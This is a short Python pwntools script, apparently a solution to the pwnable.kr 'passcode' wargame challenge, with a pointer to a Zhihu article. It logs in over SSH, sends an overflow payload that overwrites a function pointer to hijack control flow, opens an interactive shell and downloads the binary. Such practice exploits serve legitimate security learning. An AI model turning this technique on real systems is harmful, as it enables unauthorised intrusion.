查看https://zhuanlan.zhihu.com/p/67250526

```
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import os
import sys
from pwn import *
def dec():
    try:
        s = ssh(host='pwnable.kr', user='passcode', password='guest', port=2222)
        payload = 'c'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n'
        sh = s.process('passcode')
        sh.sendline(payload)
        print sh.recvall()
        s.interactive()
        #下载服务器上的文件
        file_dir = 'passcode'
        local_dir = 'pass'
        s.download(file_dir, local_dir)
    except:
        print "error"

if __name__ == '__main__':
    dec()
```